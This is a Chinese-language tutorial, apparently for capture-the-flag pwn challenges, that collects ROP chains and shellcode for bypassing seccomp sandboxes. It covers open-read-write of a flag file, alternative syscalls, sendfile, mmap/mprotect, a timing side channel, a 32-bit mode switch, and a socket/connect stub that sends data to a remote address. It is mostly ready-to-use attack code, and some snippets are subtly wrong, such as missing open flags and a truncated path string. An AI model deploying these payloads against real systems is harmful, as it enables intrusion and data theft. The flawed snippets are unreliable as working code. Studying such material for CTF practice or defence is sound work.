对二进制安全中沙盒的深入了解与分析(rop与shellcode集合)
字数 938 2025-08-29 22:41:01
二进制安全中沙盒的深入了解与分析:ROP与Shellcode集合
前言
在二进制安全领域,沙盒是一种重要的保护机制,它通过限制系统调用来增加攻击难度。本文档将详细介绍如何绕过沙盒限制,提供ROP链和Shellcode的实用集合,帮助安全研究人员在面对沙盒环境时快速构建有效攻击。
沙盒基础
沙盒概念
沙盒是一种程序保护机制,通过禁用特定系统调用来增加攻击难度。最常见的限制是禁用execve系统调用,迫使攻击者使用ORW(Open-Read-Write)方法读取文件内容。
沙盒检测方法
在开始攻击前,需要先检测目标程序是否启用了沙盒以及具体限制了哪些系统调用。常见检测方法包括:
- 使用
seccomp-tools分析二进制文件 - 尝试执行受限系统调用并观察行为
- 检查程序是否调用了
prctl或seccomp相关函数
ROP与Shellcode技术
Open+Read+Write组合
这是绕过沙盒最基础的组合,适用于允许文件操作但禁止执行的情况。
ROP实现
# x86_64架构下的ROP链示例
rop.raw(rop.find_gadget(['pop rdi', 'ret']))
rop.raw(0xdeadbeef) # 文件名地址
rop.raw(elf.sym['open'])
rop.raw(rop.find_gadget(['pop rdi', 'ret']))
rop.raw(3) # 文件描述符
rop.raw(rop.find_gadget(['pop rsi', 'ret']))
rop.raw(0xcafebabe) # 缓冲区地址
rop.raw(rop.find_gadget(['pop rdx', 'ret']))
rop.raw(0x100) # 读取长度
rop.raw(elf.sym['read'])
rop.raw(rop.find_gadget(['pop rdi', 'ret']))
rop.raw(1) # stdout
rop.raw(elf.sym['write'])
Shellcode实现
; x86_64 Shellcode示例
_start:
; open("flag", 0, 0)
xor rax, rax
mov al, 2 ; sys_open
mov rdi, 0x67616c662f ; "/flag"字符串
push rdi
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall
; read(fd, buf, len)
mov rdi, rax ; 文件描述符
mov rsi, rsp ; 缓冲区
mov rdx, 0x100 ; 长度
xor rax, rax ; sys_read
syscall
; write(1, buf, len)
mov rdi, 1 ; stdout
mov rax, 1 ; sys_write
syscall
Open替代方案
当open被禁用时,可以使用以下替代系统调用:
openat
; openat(AT_FDCWD, "flag", O_RDONLY, 0)
mov rax, 257 ; sys_openat
mov rdi, -100 ; AT_FDCWD
mov rsi, 0x67616c662f ; "/flag"
push rsi
mov rsi, rsp
xor rdx, rdx ; O_RDONLY
xor r10, r10
syscall
openat2
; openat2(AT_FDCWD, "flag", &how, sizeof(how))
mov rax, 437 ; sys_openat2
mov rdi, -100 ; AT_FDCWD
mov rsi, 0x67616c662f ; "/flag"
push rsi
mov rsi, rsp
lea rdx, [rsp-0x20] ; &how
mov byte [rdx], 0 ; flags
mov byte [rdx+8], 0 ; mode
mov r10, 24 ; sizeof(how)
syscall
Read替代方案
pread
; pread(fd, buf, len, offset)
mov rax, 17 ; sys_pread
mov rdi, 3 ; fd
mov rsi, rsp ; buf
mov rdx, 0x100 ; len
xor r10, r10 ; offset
syscall
readv
; readv(fd, iov, iovcnt)
mov rax, 19 ; sys_readv
mov rdi, 3 ; fd
lea rsi, [rsp-0x20] ; iov
mov qword [rsi], rsp ; iov_base
mov qword [rsi+8], 0x100 ; iov_len
mov rdx, 1 ; iovcnt
syscall
preadv
; preadv(fd, iov, iovcnt, offset)
mov rax, 295 ; sys_preadv
mov rdi, 3 ; fd
lea rsi, [rsp-0x20] ; iov
mov qword [rsi], rsp ; iov_base
mov qword [rsi+8], 0x100 ; iov_len
mov rdx, 1 ; iovcnt
xor r10, r10 ; offset
syscall
Write替代方案
writev
; writev(fd, iov, iovcnt)
mov rax, 20 ; sys_writev
mov rdi, 1 ; stdout
lea rsi, [rsp-0x20] ; iov
mov qword [rsi], rsp ; iov_base
mov qword [rsi+8], 0x100 ; iov_len
mov rdx, 1 ; iovcnt
syscall
sendfile系统调用
sendfile可以同时替代read和write,效率更高:
; sendfile(out_fd, in_fd, offset, count)
mov rax, 40 ; sys_sendfile
mov rdi, 1 ; stdout
mov rsi, 3 ; input fd
xor rdx, rdx ; offset
mov r10, 0x100 ; count
syscall
mmap技术
当需要分配内存或修改内存权限时:
; mmap(addr, length, prot, flags, fd, offset)
mov rax, 9 ; sys_mmap
xor rdi, rdi ; addr (NULL)
mov rsi, 0x1000 ; length
mov rdx, 7 ; PROT_READ|PROT_WRITE|PROT_EXEC
mov r10, 0x22 ; MAP_PRIVATE|MAP_ANONYMOUS
mov r8, -1 ; fd
mov r9, 0 ; offset
syscall
特殊场景绕过技术
侧信道攻击
当完全没有输出手段时(如close(1)),可以使用侧信道攻击:
; 假设flag已读到栈上但无法输出
mov rdi, [rsp] ; 读取flag第一个字节
cmp rdi, 'f' ; 猜测字符
je slow ; 如果匹配,执行耗时操作
ret
slow:
; 执行一些耗时操作,如循环
mov rcx, 0xfffffff
loop:
nop
loop loop
通过测量响应时间来判断猜测是否正确。
32位转换技术
当沙盒没有架构检测时,可以切换到32位模式:
ROP实现
# 调用mprotect修改内存权限
rop.raw(rop.find_gadget(['pop rdi', 'ret']))
rop.raw(0xdead0000) # 32位地址
rop.raw(rop.find_gadget(['pop rsi', 'ret']))
rop.raw(0x1000) # 长度
rop.raw(rop.find_gadget(['pop rdx', 'ret']))
rop.raw(7) # PROT_READ|PROT_WRITE|PROT_EXEC
rop.raw(elf.sym['mprotect'])
rop.raw(0xdead0000) # 跳转到32位shellcode
Shellcode实现
; 32位shellcode示例
bits 32
_start:
; open("flag", 0, 0)
xor eax, eax
mov al, 5 ; sys_open
mov ebx, 0x67616c66 ; "flag"
push ebx
mov ebx, esp
xor ecx, ecx
xor edx, edx
int 0x80
; read(fd, buf, len)
mov ebx, eax ; fd
mov ecx, esp ; buf
mov edx, 0x100 ; len
xor eax, eax ; sys_read
int 0x80
; write(1, buf, len)
mov ebx, 1 ; stdout
mov eax, 4 ; sys_write
int 0x80
绕过close(1)
当标准输出被关闭时,可以尝试以下方法:
远程链接socket&connect
; socket(AF_INET, SOCK_STREAM, 0)
mov rax, 41 ; sys_socket
mov rdi, 2 ; AF_INET
mov rsi, 1 ; SOCK_STREAM
xor rdx, rdx
syscall
; connect(sockfd, &addr, addrlen)
mov rdi, rax ; sockfd
mov rsi, 0xdeadbeef ; &addr (struct sockaddr_in)
mov rdx, 16 ; addrlen
mov rax, 42 ; sys_connect
syscall
; 之后可以使用send/write发送数据
重新打开/dev/pts
; open("/dev/pts/X", O_WRONLY)
mov rax, 2 ; sys_open
mov rdi, 0x7374702f7665642f ; "/dev/pts/X"
push rdi
mov rdi, rsp
mov rsi, 1 ; O_WRONLY
syscall
; 将返回的fd复制到stdout
mov rdi, rax ; new fd
mov rsi, 1 ; stdout
mov rax, 33 ; sys_dup2
syscall
超级代码示例
结合多个系统调用的高效shellcode:
; 结合openat+sendfile的高效实现
_start:
; openat(AT_FDCWD, "flag", O_RDONLY, 0)
mov rax, 257 ; sys_openat
mov rdi, -100 ; AT_FDCWD
mov rsi, 0x67616c662f ; "/flag"
push rsi
mov rsi, rsp
xor rdx, rdx ; O_RDONLY
xor r10, r10
syscall
; sendfile(stdout, fd, 0, 0x100)
mov rdi, 1 ; stdout
mov rsi, rax ; fd
xor rdx, rdx ; offset
mov r10, 0x100 ; count
mov rax, 40 ; sys_sendfile
syscall
; exit(0)
mov rax, 60
xor rdi, rdi
syscall
总结
本文提供了在沙盒环境下常用的ROP链和Shellcode集合,涵盖了文件操作的各种替代方案以及特殊场景的绕过技术。在实际应用中,需要根据目标程序的沙盒配置选择合适的绕过方法,并可能需要结合多种技术才能成功实现攻击。